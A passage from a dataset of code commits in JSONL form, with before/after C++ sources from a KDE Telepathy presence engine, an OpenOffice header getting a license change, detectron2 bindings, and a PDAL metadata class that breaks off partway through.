\/*\n     * slot called when an account has been deleted\n     *\n     * remove that source.\n     *\/\n    d->removeAccountDataSource(path);\n}\n\n#include \"presence.moc\"\n\n<commit_msg>update documentation<commit_after>\/*\n *   Copyright (C) 2008 George Goldberg <grundleborg@googlemail.com>\n *\n *   This program is free software; you can redistribute it and\/or modify\n *   it under the terms of the GNU Library General Public License version 2 as\n *   published by the Free Software Foundation\n *\n *   This program is distributed in the hope that it will be useful,\n *   but WITHOUT ANY WARRANTY; without even the implied warranty of\n *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *   GNU Library General Public License for more details\n *\n *   You should have received a copy of the GNU Library General Public\n *   License along with this program; if not, write to the\n *   Free Software Foundation, Inc.,\n *   51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n *\/\n\n#include \"presence.h\"\n\n#include <TelepathyQt4\/Client\/Account>\n#include <TelepathyQt4\/Client\/AccountManager>\n\n#include <KDebug>\n#include <KLocale>\n#include <KUrl>\n\n#include <QtCore\/QDateTime>\n#include <QtCore\/QTimer>\n\nclass PresenceEngine::PresenceEnginePrivate\n{\n\tPresenceEngine *parent;\npublic:\n\tPresenceEnginePrivate(PresenceEngine *p) : parent(p) {}\n\t\n\tTelepathy::Client::AccountManager * m_accountManager;\n\t\n\tvoid createAccountDataSource(const QDBusObjectPath &path)\n\t{\n\t\t\/\/ \\todo: FIXME\n\t\tkDebug() << \"createAccountDataSource called\";\n\t\tkDebug() << path.path();\n\t    Telepathy::Client::Account *account = accountFromObjectPath(path);\n\n\t    QString source;\n\t    \/\/ \\todo: FIXME\n\t    \/\/ source = account.uniqueIdentifier();\n\t    Telepathy::SimplePresence sp = account->currentPresence();\n\t    QVariant vsp;\n\t    vsp.setValue(sp);\n\t    parent->setData(source, \"current_presence\", vsp);\n\t    \n\t\t\/\/ emit parent->sourceAdded(account->uniqueIdentifier());\n\n\t\t\/\/ \\todo: remove\n\/*\n\t\t\tQString source;\n\t\t    source.setNum(handle);\n\t\t    QVariantMap accountData = m_accountManager->queryAccount(handle);\n\t\t    QMap<QString, QVariant>::const_iterator end( accountData.constEnd() );\n\t\t    for(QMap<QString, QVariant>::const_iterator itr(accountData.constBegin()); itr != end; ++itr)\n\t\t    {\n\t\t        if(itr.key() == Decibel::name_current_presence)\n\t\t        {\n\t\t            QtTapioca::PresenceState ps = qdbus_cast<QtTapioca::PresenceState>(itr.value().value<QDBusArgument>());\n\t\t            QVariant psv;\n\t\t            psv.setValue(ps);\n\t\t            setData(source, \"current_presence\", psv);\n\t\t            continue;\n\t\t        }\n\t\t        else if(itr.key() == Decibel::name_presence_parameters)\n\t\t        {\n\t\t            setData(source, \"status_message\", itr.value().toMap().value(\"status_message\").toString());\n\t\t        }\n\t\t    }\n\t\t\n\t\temit parent->sourceAdded(account->uniqueIdentifier());\n*\/\n\t}\n\t\n\tvoid removeAccountDataSource(const QDBusObjectPath &path)\n\t{\n\t\tkDebug() << \"removeAccountDataSource called\";\n\t\tkDebug() << path.path();\n\t\t\n\t\tTelepathy::Client::Account *account = accountFromObjectPath(path);\n\t\t\n\t\t\/\/ \\todo: FIXME\n\/*\n\t\tQString identifier = account->uniqueIdentifier();\n\t\tparent->removeSource(identifier);\n\t\temit parent->sourceRemoved(identifier);\n*\/\n\t}\n\t\n\tTelepathy::Client::Account *accountFromObjectPath(const QDBusObjectPath &path)\n\t{\n\t\treturn m_accountManager->accountForPath(path);\n\t}\n};\n\n\/**\n * \\class PresenceEngine\n * \\ingroup presence\n * \\headerfile <presence.h>\n *\n * Object representing a Presence data source.\n *\/\n\n\/**\n * Construct a new PresenceEngine object.\n *\n * \\param parent Object parent.\n * \\param args QVariantList arguments.\n *\/\nPresenceEngine::PresenceEngine(QObject * parent, const QVariantList & args)\n  : Plasma::DataEngine(parent, args),\n  d(new PresenceEnginePrivate(this))\n{\n    \/\/ Register custom types:\n    Telepathy::registerTypes();\n}\n\n\/**\n * Class destructor\n *\/\nPresenceEngine::~PresenceEngine()\n{\n\tdelete d->m_accountManager;\n\tdelete d;\n}\n\n\/**\n * Initialize Presence.\n *\/\nvoid PresenceEngine::init()\n{\n    kDebug() << \"init() started\";\n    \/*\n     * check that we are connected to the session\n     * bus OK.\n     *\/\n    if (!QDBusConnection::sessionBus().isConnected())\n    {\n        kDebug() << \"PresenceEngine::init(): cannot connect to session bus.\";\n    }\n\n   \/*\n    * set up the dbus accountmanager object\n    * which will provide all the data to this\n    * data engine.\n    *\/\n    d->m_accountManager = \n    \tnew Telepathy::Client::AccountManager(QDBusConnection::sessionBus());\n    \n    \/*\n     * get a list of all the accounts that\n     * are all ready there\n     *\/\n    QList<Telepathy::Client::Account *> accounts = d->m_accountManager->allAccounts();\n    kDebug() << \"accounts: \" << accounts.size();\n    \n    Telepathy::ObjectPathList objectPathList = d->m_accountManager->allAccountPaths();\n    \/*\n     * connect signals from the account manager\n     * to slots within this data engine.\n     *\n     * we intentionally do this before processing\n     * the accounts that are already created so\n     * that if another is created while we are\n     * processing them, we don't miss out on it.\n     *\/\n    connect(d->m_accountManager, SIGNAL(accountCreated(const QDBusObjectPath &)),\n            this, SLOT(accountCreated(const QDBusObjectPath &)));\n    connect(d->m_accountManager, SIGNAL(accountValidityChanged(const QDBusObjectPath &, bool)),\n            this, SLOT(accountValidityChanged(const QDBusObjectPath &, bool)));\n    connect(d->m_accountManager, SIGNAL(accountRemoved(const QDBusObjectPath &)),\n            this, SLOT(accountRemoved(const QDBusObjectPath &)));\n\n    \/*\n     * create a datasource for each\n     * of the accounts we got in the list.\n     *\/\n    foreach(const QDBusObjectPath &path, objectPathList)\n    {\n        d->createAccountDataSource(path);\n    }\n}\n\n\/**\n * Return whether source exist.\n * \n * \\return \\c true if source exists.\n *\/\nbool PresenceEngine::sourceRequestEvent(const QString & name)\n{\n    \/*\n     * if the visualisation requests a\n     * source that is not already there\n     * then it doesn't exist, so return\n     * false\n     *\/\n    Q_UNUSED(name);\n    return false;\n}\n\n\/**\n *  Slot for new account.\n * \n * \\param path QDBusObjectPath to created account.\n *\/\nvoid PresenceEngine::accountCreated(const QDBusObjectPath &path)\n{\n    kDebug() << \"accountCreated() called\";\n    \/\/ Load the data for the new account. To avoid duplicating code, we treat\n    \/\/ this just as if an account was updated, and call the method to handle\n    \/\/ that.\n    d->createAccountDataSource(path);\n}\n\n\/**\n * Slot for account data changed.\n * \n * \\param QDBusObjectPath Name of the account path.\n * \\param valid true if the account is valid.\n *\/\nvoid PresenceEngine::accountValidityChanged(const QDBusObjectPath &path, bool valid)\n{\n\tQ_UNUSED(valid);\n    kDebug() << \"accountValidityChanged() called\";\n    \/*\n     * slot called when an account has\n     * been updated.\n     *\/\n    d->createAccountDataSource(path);\n}\n\n\/**\n * Slot for account removed.\n * \n * \\param QDBusObjectPath Name of the account path.\n *\/\nvoid PresenceEngine::accountRemoved(const QDBusObjectPath &path)\n{\n    kDebug() << \"uint handle() called\";\n    \/*\n     * slot called when an account has been deleted\n     *\n     * remove that source.\n     *\/\n    d->removeAccountDataSource(path);\n}\n\n#include \"presence.moc\"\n\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>android: Stopgap: _exit() is better than a hang<commit_after><|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n *  $RCSfile: oemjob.hxx,v $\n *\n *  $Revision: 1.2 $\n *\n *  last change: $Author: vg $ $Date: 2003-05-22 08:54:53 $\n *\n *  The Contents of this file are made available subject to the terms of\n *  either of the following licenses\n *\n *         - GNU Lesser General Public License Version 2.1\n *         - Sun Industry Standards Source License Version 1.1\n *\n *  Sun Microsystems Inc., October, 2000\n *\n *  GNU Lesser General Public License Version 2.1\n *  =============================================\n *  Copyright 2000 by Sun Microsystems, Inc.\n *  901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *  This library is free software; you can redistribute it and\/or\n *  modify it under the terms of the GNU Lesser General Public\n *  License version 2.1, as published by the Free Software Foundation.\n *\n *  This library is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *  Lesser General Public License for more details.\n *\n *  You should have received a copy of the GNU Lesser General Public\n *  License along with this library; if not, write to the Free Software\n *  Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *  MA  02111-1307  USA\n *\n *\n *  Sun Industry Standards Source License Version 1.1\n *  =================================================\n *  The contents of this file are subject to the Sun Industry Standards\n *  Source License Version 1.1 (the \"License\"); You may not use this file\n *  except in compliance with the License. You may obtain a copy of the\n *  License at http:\/\/www.openoffice.org\/license.html.\n *\n *  Software provided under this License is provided on an \"AS IS\" basis,\n *  WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n *  WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n *  MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n *  See the License for the specific provisions governing your rights and\n *  obligations concerning the Software.\n *\n *  The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n *  Copyright: 2000 by Sun Microsystems, Inc.\n *\n *  All Rights Reserved.\n *\n *  Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n#ifndef _SOCOMP_OEMJOB_HXX_\n#define _SOCOMP_OEMJOB_HXX_\n\n#ifndef _COM_SUN_STAR_LANG_XSERVICEINFO_HPP_\n#include <com\/sun\/star\/lang\/XServiceInfo.hpp>\n#endif\n#ifndef _COM_SUN_STAR_UNO_EXCEPTION_HPP_\n#include <com\/sun\/star\/uno\/Exception.hpp>\n#endif\n#ifndef _COM_SUN_STAR_UNO_REFERENCE_H_\n#include <com\/sun\/star\/uno\/Reference.h>\n#endif\n#ifndef _COM_SUN_STAR_LANG_XCOMPONENT_HPP_\n#include <com\/sun\/star\/lang\/XComponent.hpp>\n#endif\n#ifndef _COM_SUN_STAR_TASK_XJOB_HPP_\n#include <com\/sun\/star\/task\/XJob.hpp>\n#endif\n#ifndef _CPPUHELPER_IMPLBASE3_HXX_\n#include <cppuhelper\/implbase3.hxx>\n#endif\n#ifndef _CPPUHELPER_INTERFACECONTAINER_H_\n#include <cppuhelper\/interfacecontainer.h>\n#endif\n\n#include <com\/sun\/star\/lang\/XSingleServiceFactory.hpp>\n#include <osl\/mutex.hxx>\n\nusing namespace ::com::sun::star::uno;\nusing namespace ::com::sun::star::lang;\nusing namespace ::com::sun::star::beans;\nusing namespace ::com::sun::star::task;\n\nnamespace desktop{\n\nclass OEMPreloadJob : public ::cppu::WeakImplHelper3< XJob, XComponent, XServiceInfo >\n{\n\nprivate:\n    ::osl::Mutex                        m_aMutex;\n    ::cppu::OInterfaceContainerHelper   m_aListeners;\n    Reference< XMultiServiceFactory >   m_xServiceManager;\n\n    sal_Bool checkOEMPreloadFlag();\n    void disableOEMPreloadFlag();\n\npublic:\n    OEMPreloadJob( const Reference < XMultiServiceFactory >& xFactory );\n    virtual ~OEMPreloadJob();\n\n    static ::rtl::OUString                      GetImplementationName();\n    static Sequence< rtl::OUString >            GetSupportedServiceNames();\n\n\n    \/\/ XComponent\n    virtual void SAL_CALL dispose() throw ( RuntimeException );\n    virtual void SAL_CALL addEventListener( const Reference< XEventListener > & aListener) throw ( RuntimeException );\n    virtual void SAL_CALL removeEventListener(const Reference< XEventListener > & aListener) throw ( RuntimeException );\n\n    \/\/ XServiceInfo\n    virtual ::rtl::OUString SAL_CALL    getImplementationName() throw ( RuntimeException );\n    virtual sal_Bool SAL_CALL           supportsService( const ::rtl::OUString& rServiceName ) throw ( RuntimeException );\n    virtual Sequence< ::rtl::OUString > SAL_CALL getSupportedServiceNames() throw ( RuntimeException );\n\n    \/\/XJob\n    virtual Any SAL_CALL execute(const Sequence<NamedValue>& args)throw ( RuntimeException );\n\n\n    static const char* interfaces[];\n    static const char* implementationName;\n    static const char* serviceName;\n    static Reference<XInterface> SAL_CALL CreateInstance(\n        const Reference< XMultiServiceFactory >&);\n\n\n};\n}\n\n#endif \/\/ _SOCOMP_OEMJOB_HXX_\n<commit_msg>INTEGRATION: CWS ooo19126 (1.2.590); FILE MERGED 2005\/09\/05 17:50:59 rt 1.2.590.1: #i54170# Change license header: remove SISSL<commit_after>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: oemjob.hxx,v $\n *\n *  $Revision: 1.3 $\n *\n *  last change: $Author: rt $ $Date: 2005-09-08 17:48:12 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n\n#ifndef _SOCOMP_OEMJOB_HXX_\n#define _SOCOMP_OEMJOB_HXX_\n\n#ifndef _COM_SUN_STAR_LANG_XSERVICEINFO_HPP_\n#include <com\/sun\/star\/lang\/XServiceInfo.hpp>\n#endif\n#ifndef _COM_SUN_STAR_UNO_EXCEPTION_HPP_\n#include <com\/sun\/star\/uno\/Exception.hpp>\n#endif\n#ifndef _COM_SUN_STAR_UNO_REFERENCE_H_\n#include <com\/sun\/star\/uno\/Reference.h>\n#endif\n#ifndef _COM_SUN_STAR_LANG_XCOMPONENT_HPP_\n#include <com\/sun\/star\/lang\/XComponent.hpp>\n#endif\n#ifndef _COM_SUN_STAR_TASK_XJOB_HPP_\n#include <com\/sun\/star\/task\/XJob.hpp>\n#endif\n#ifndef _CPPUHELPER_IMPLBASE3_HXX_\n#include <cppuhelper\/implbase3.hxx>\n#endif\n#ifndef _CPPUHELPER_INTERFACECONTAINER_H_\n#include <cppuhelper\/interfacecontainer.h>\n#endif\n\n#include <com\/sun\/star\/lang\/XSingleServiceFactory.hpp>\n#include <osl\/mutex.hxx>\n\nusing namespace ::com::sun::star::uno;\nusing namespace ::com::sun::star::lang;\nusing namespace ::com::sun::star::beans;\nusing namespace ::com::sun::star::task;\n\nnamespace desktop{\n\nclass OEMPreloadJob : public ::cppu::WeakImplHelper3< XJob, XComponent, XServiceInfo >\n{\n\nprivate:\n    ::osl::Mutex                        m_aMutex;\n    ::cppu::OInterfaceContainerHelper   m_aListeners;\n    Reference< XMultiServiceFactory >   m_xServiceManager;\n\n    sal_Bool checkOEMPreloadFlag();\n    void disableOEMPreloadFlag();\n\npublic:\n    OEMPreloadJob( const Reference < XMultiServiceFactory >& xFactory );\n    virtual ~OEMPreloadJob();\n\n    static ::rtl::OUString                      GetImplementationName();\n    static Sequence< rtl::OUString >            GetSupportedServiceNames();\n\n\n    \/\/ XComponent\n    virtual void SAL_CALL dispose() throw ( RuntimeException );\n    virtual void SAL_CALL addEventListener( const Reference< XEventListener > & aListener) throw ( RuntimeException );\n    virtual void SAL_CALL removeEventListener(const Reference< XEventListener > & aListener) throw ( RuntimeException );\n\n    \/\/ XServiceInfo\n    virtual ::rtl::OUString SAL_CALL    getImplementationName() throw ( RuntimeException );\n    virtual sal_Bool SAL_CALL           supportsService( const ::rtl::OUString& rServiceName ) throw ( RuntimeException );\n    virtual Sequence< ::rtl::OUString > SAL_CALL getSupportedServiceNames() throw ( RuntimeException );\n\n    \/\/XJob\n    virtual Any SAL_CALL execute(const Sequence<NamedValue>& args)throw ( RuntimeException );\n\n\n    static const char* interfaces[];\n    static const char* implementationName;\n    static const char* serviceName;\n    static Reference<XInterface> SAL_CALL CreateInstance(\n        const Reference< XMultiServiceFactory >&);\n\n\n};\n}\n\n#endif \/\/ _SOCOMP_OEMJOB_HXX_\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) Facebook, Inc. and its affiliates.\n\n#include <torch\/extension.h>\n#include \"ROIAlignRotated\/ROIAlignRotated.h\"\n#include \"box_iou_rotated\/box_iou_rotated.h\"\n#include \"cocoeval\/cocoeval.h\"\n#include \"deformable\/deform_conv.h\"\n#include \"nms_rotated\/nms_rotated.h\"\n\nnamespace detectron2 {\n\n#if defined(WITH_CUDA) || defined(WITH_HIP)\nextern int get_cudart_version();\n#endif\n\nstd::string get_cuda_version() {\n#if defined(WITH_CUDA) || defined(WITH_HIP)\n  std::ostringstream oss;\n\n#if defined(WITH_CUDA)\n  oss << \"CUDA \";\n#else\n  oss << \"HIP \";\n#endif\n\n  \/\/ copied from\n  \/\/ https:\/\/github.com\/pytorch\/pytorch\/blob\/master\/aten\/src\/ATen\/cuda\/detail\/CUDAHooks.cpp#L231\n  auto printCudaStyleVersion = [&](int v) {\n    oss << (v \/ 1000) << \".\" << (v \/ 10 % 100);\n    if (v % 10 != 0) {\n      oss << \".\" << (v % 10);\n    }\n  };\n  printCudaStyleVersion(get_cudart_version());\n  return oss.str();\n#else \/\/ neither CUDA nor HIP\n  return std::string(\"not available\");\n#endif\n}\n\nbool has_cuda() {\n#if defined(WITH_CUDA)\n  return true;\n#else\n  return false;\n#endif\n}\n\n\/\/ similar to\n\/\/ https:\/\/github.com\/pytorch\/pytorch\/blob\/master\/aten\/src\/ATen\/Version.cpp\nstd::string get_compiler_version() {\n  std::ostringstream ss;\n#if defined(__GNUC__)\n#ifndef __clang__\n\n#if ((__GNUC__ <= 4) && (__GNUC_MINOR__ <= 8))\n#error \"GCC >= 4.9 is required!\"\n#endif\n\n  { ss << \"GCC \" << __GNUC__ << \".\" << __GNUC_MINOR__; }\n#endif\n#endif\n\n#if defined(__clang_major__)\n  {\n    ss << \"clang \" << __clang_major__ << \".\" << __clang_minor__ << \".\"\n       << __clang_patchlevel__;\n  }\n#endif\n\n#if defined(_MSC_VER)\n  { ss << \"MSVC \" << _MSC_FULL_VER; }\n#endif\n  return ss.str();\n}\n\nPYBIND11_MODULE(TORCH_EXTENSION_NAME, m) {\n  m.def(\"get_compiler_version\", &get_compiler_version, \"get_compiler_version\");\n  m.def(\"get_cuda_version\", &get_cuda_version, \"get_cuda_version\");\n  m.def(\"has_cuda\", &has_cuda, \"has_cuda\");\n\n  m.def(\"deform_conv_forward\", &deform_conv_forward, \"deform_conv_forward\");\n  m.def(\n      \"deform_conv_backward_input\",\n      &deform_conv_backward_input,\n      \"deform_conv_backward_input\");\n  m.def(\n      \"deform_conv_backward_filter\",\n      &deform_conv_backward_filter,\n      \"deform_conv_backward_filter\");\n  m.def(\n      \"modulated_deform_conv_forward\",\n      &modulated_deform_conv_forward,\n      \"modulated_deform_conv_forward\");\n  m.def(\n      \"modulated_deform_conv_backward\",\n      &modulated_deform_conv_backward,\n      \"modulated_deform_conv_backward\");\n\n  m.def(\"COCOevalAccumulate\", &COCOeval::Accumulate, \"COCOeval::Accumulate\");\n  m.def(\n      \"COCOevalEvaluateImages\",\n      &COCOeval::EvaluateImages,\n      \"COCOeval::EvaluateImages\");\n  pybind11::class_<COCOeval::InstanceAnnotation>(m, \"InstanceAnnotation\")\n      .def(pybind11::init<uint64_t, double, double, bool, bool>());\n  pybind11::class_<COCOeval::ImageEvaluation>(m, \"ImageEvaluation\")\n      .def(pybind11::init<>());\n}\n\nTORCH_LIBRARY(detectron2, m) {\n  m.def(\"nms_rotated\", &nms_rotated);\n  m.def(\"box_iou_rotated\", &box_iou_rotated);\n  m.def(\"roi_align_rotated_forward\", &ROIAlignRotated_forward);\n  m.def(\"roi_align_rotated_backward\", &ROIAlignRotated_backward);\n}\n} \/\/ namespace detectron2\n<commit_msg>Revert D32612862: Daily `arc lint --take CLANGFORMAT`<commit_after>\/\/ Copyright (c) Facebook, Inc. and its affiliates.\n\n#include <torch\/extension.h>\n#include \"ROIAlignRotated\/ROIAlignRotated.h\"\n#include \"box_iou_rotated\/box_iou_rotated.h\"\n#include \"cocoeval\/cocoeval.h\"\n#include \"deformable\/deform_conv.h\"\n#include \"nms_rotated\/nms_rotated.h\"\n\nnamespace detectron2 {\n\n#if defined(WITH_CUDA) || defined(WITH_HIP)\nextern int get_cudart_version();\n#endif\n\nstd::string get_cuda_version() {\n#if defined(WITH_CUDA) || defined(WITH_HIP)\n  std::ostringstream oss;\n\n#if defined(WITH_CUDA)\n  oss << \"CUDA \";\n#else\n  oss << \"HIP \";\n#endif\n\n  \/\/ copied from\n  \/\/ https:\/\/github.com\/pytorch\/pytorch\/blob\/master\/aten\/src\/ATen\/cuda\/detail\/CUDAHooks.cpp#L231\n  auto printCudaStyleVersion = [&](int v) {\n    oss << (v \/ 1000) << \".\" << (v \/ 10 % 100);\n    if (v % 10 != 0) {\n      oss << \".\" << (v % 10);\n    }\n  };\n  printCudaStyleVersion(get_cudart_version());\n  return oss.str();\n#else \/\/ neither CUDA nor HIP\n  return std::string(\"not available\");\n#endif\n}\n\nbool has_cuda() {\n#if defined(WITH_CUDA)\n  return true;\n#else\n  return false;\n#endif\n}\n\n\/\/ similar to\n\/\/ https:\/\/github.com\/pytorch\/pytorch\/blob\/master\/aten\/src\/ATen\/Version.cpp\nstd::string get_compiler_version() {\n  std::ostringstream ss;\n#if defined(__GNUC__)\n#ifndef __clang__\n\n#if ((__GNUC__ <= 4) && (__GNUC_MINOR__ <= 8))\n#error \"GCC >= 4.9 is required!\"\n#endif\n\n  { ss << \"GCC \" << __GNUC__ << \".\" << __GNUC_MINOR__; }\n#endif\n#endif\n\n#if defined(__clang_major__)\n  {\n    ss << \"clang \" << __clang_major__ << \".\" << __clang_minor__ << \".\"\n       << __clang_patchlevel__;\n  }\n#endif\n\n#if defined(_MSC_VER)\n  { ss << \"MSVC \" << _MSC_FULL_VER; }\n#endif\n  return ss.str();\n}\n\nPYBIND11_MODULE(TORCH_EXTENSION_NAME, m) {\n  m.def(\"get_compiler_version\", &get_compiler_version, \"get_compiler_version\");\n  m.def(\"get_cuda_version\", &get_cuda_version, \"get_cuda_version\");\n  m.def(\"has_cuda\", &has_cuda, \"has_cuda\");\n\n\n  m.def(\"deform_conv_forward\", &deform_conv_forward, \"deform_conv_forward\");\n  m.def(\n      \"deform_conv_backward_input\",\n      &deform_conv_backward_input,\n      \"deform_conv_backward_input\");\n  m.def(\n      \"deform_conv_backward_filter\",\n      &deform_conv_backward_filter,\n      \"deform_conv_backward_filter\");\n  m.def(\n      \"modulated_deform_conv_forward\",\n      &modulated_deform_conv_forward,\n      \"modulated_deform_conv_forward\");\n  m.def(\n      \"modulated_deform_conv_backward\",\n      &modulated_deform_conv_backward,\n      \"modulated_deform_conv_backward\");\n\n  m.def(\"COCOevalAccumulate\", &COCOeval::Accumulate, \"COCOeval::Accumulate\");\n  m.def(\n      \"COCOevalEvaluateImages\",\n      &COCOeval::EvaluateImages,\n      \"COCOeval::EvaluateImages\");\n  pybind11::class_<COCOeval::InstanceAnnotation>(m, \"InstanceAnnotation\")\n      .def(pybind11::init<uint64_t, double, double, bool, bool>());\n  pybind11::class_<COCOeval::ImageEvaluation>(m, \"ImageEvaluation\")\n      .def(pybind11::init<>());\n}\n\nTORCH_LIBRARY(detectron2, m) {\n  m.def(\"nms_rotated\", &nms_rotated);\n  m.def(\"box_iou_rotated\", &box_iou_rotated);\n  m.def(\"roi_align_rotated_forward\", &ROIAlignRotated_forward);\n  m.def(\"roi_align_rotated_backward\", &ROIAlignRotated_backward);\n}\n} \/\/ namespace detectron2\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>Fix checkbox value<commit_after><|endoftext|>"}
{"text":"<commit_before><commit_msg>Refactor<commit_after><|endoftext|>"}
{"text":"<commit_before>\/******************************************************************************\n* Copyright (c) 2011, Michael P. Gerlek (mpg@flaxen.com)\n*\n* All rights reserved.\n*\n* Redistribution and use in source and binary forms, with or without\n* modification, are permitted provided that the following\n* conditions are met:\n*\n*     * Redistributions of source code must retain the above copyright\n*       notice, this list of conditions and the following disclaimer.\n*     * Redistributions in binary form must reproduce the above copyright\n*       notice, this list of conditions and the following disclaimer in\n*       the documentation and\/or other materials provided\n*       with the distribution.\n*     * Neither the name of Hobu, Inc. or Flaxen Geo Consulting nor the\n*       names of its contributors may be used to endorse or promote\n*       products derived from this software without specific prior\n*       written permission.\n*\n* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n* \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\n* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n* COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\n* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS\n* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED\n* AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\n* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT\n* OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY\n* OF SUCH DAMAGE.\n****************************************************************************\/\n\n#include <pdal\/Metadata.hpp>\n#include <pdal\/Utils.hpp>\n\n#include <sstream>\n#include <cstring>\n\n#include <sstream>\n#include <string>\n\n#include <boost\/algorithm\/string.hpp>\n\n#include <boost\/property_tree\/xml_parser.hpp>\n#include <boost\/property_tree\/json_parser.hpp>\n\n\nnamespace pdal\n{\n\nnamespace metadata\n{\n\nEntry::Entry(std::string const& name)\n    : m_name(name)\n    , m_type(metadata::String)\n    , m_description(\"\")\n{\n    return;\n}\n\n\nEntry::Entry(const Entry& other)\n    : m_variant(other.m_variant)\n    , m_name(other.m_name)\n    , m_type(other.m_type)\n    , m_attributes(other.m_attributes)\n    , m_description(other.m_description)\n{\n    return;\n}\n\nEntry& Entry::operator=(const Entry& rhs)\n{\n    if (&rhs != this)\n    {\n        m_variant = rhs.m_variant;\n        m_name = rhs.m_name;\n        m_description = rhs.m_description;\n        m_type = rhs.m_type;\n        m_attributes = rhs.m_attributes;\n    }\n    return *this;\n}\n\nstd::vector<std::string> Entry::getAttributeNames() const\n{\n    std::vector<std::string> output;\n    metadata::MetadataAttributeM::const_iterator i = m_attributes.begin();\n    while (i != m_attributes.end())\n    {\n        output.push_back(i->first);\n        ++i;\n    }\n\n    return output;\n}\n\nvoid Entry::addAttribute(std::string const& name, std::string const value)\n{\n    std::pair<std::string, std::string> p(name, value);\n    m_attributes.insert(p);\n}\n\nstd::string Entry::getAttribute(std::string const& name) const\n{\n    metadata::MetadataAttributeM::const_iterator p = m_attributes.find(name);\n    if (p != m_attributes.end())\n        return p->second;\n    else\n        return std::string(\"\");\n}\n\nstd::string Entry::getTypeName() const\n{\n    switch (getType())\n    {\n        case metadata::Boolean:\n            return std::string(\"boolean\");\n        case metadata::SignedInteger:\n            return std::string(\"integer\");\n        case metadata::UnsignedInteger:\n            return std::string(\"nonNegativeInteger\");\n        case metadata::Float:\n            return std::string(\"float\");\n        case metadata::Double:\n            return std::string(\"double\");\n        case metadata::String:\n            return std::string(\"string\");\n        case metadata::Bytes:\n            return std::string(\"base64Binary\");\n        case metadata::Bounds:\n            return std::string(\"bounds\");\n        case metadata::SpatialReference:\n            return std::string(\"spatialreference\");\n        case metadata::MData:\n            return std::string(\"metadata\");\n        case metadata::UUID:\n            return std::string(\"uuid\");\n        default:\n            return std::string(\"none\");\n    }\n}\n\nboost::optional<Metadata const&> Entry::getMetadata() const\n{\n    if (m_metadata.get())\n        return boost::optional<Metadata const&>(*m_metadata.get());\n    else\n        return boost::optional<Metadata const&>();\n}\n\nvoid Entry::setMetadata(Metadata const& mdata)\n{\n    metadata::MetadataPtr p = metadata::MetadataPtr(new Metadata(mdata));\n    m_metadata = p;\n}\n\nboost::property_tree::ptree Entry::toPTree() const\n{\n    using boost::property_tree::ptree;\n    ptree dim;\n    dim.put(\"name\", getName());\n    std::ostringstream oss;\n    oss << m_variant;\n    dim.put(\"value\", oss.str());\n    dim.put(\"type\", getTypeName());\n\n    for (metadata::MetadataAttributeM::const_iterator i = m_attributes.begin(); i != m_attributes.end(); ++i)\n    {\n        ptree attribute;\n        attribute.put(\"value\", i->second);\n        attribute.put(\"name\", i->first);\n        dim.add_child(\"attribute\", attribute);\n    }\n\n    return dim;\n}\n\nstd::string Entry::to_xml()\n{\n    std::ostringstream oss;\n\n    using boost::property_tree::ptree;\n\n    ptree tree = toPTree();\n\n    oss << \"<Entry name=\\\"\" << tree.get<std::string>(\"name\") <<\"\\\" type=\\\"\" << tree.get<std::string>(\"type\") <<\"\\\"\";\n    oss << \">\";\n\n    for (metadata::MetadataAttributeM::const_iterator i = m_attributes.begin(); i != m_attributes.end(); ++i)\n    {\n        oss <<\"<Attribute name=\\\"\" << i->first <<\"\\\">\" << i->second <<\"<\/Attribute>\";\n    }\n\n    oss << \"<\/Entry>\";\n    return oss.str();\n\n\n}\nstd::ostream& operator<<(std::ostream& ostr, const Entry& metadata)\n{\n    ostr << metadata.getVariant() << std::endl;\n    \/\/ostr << metadata.getNamespace() << \":\" << metadata.getName() << \"=\" << 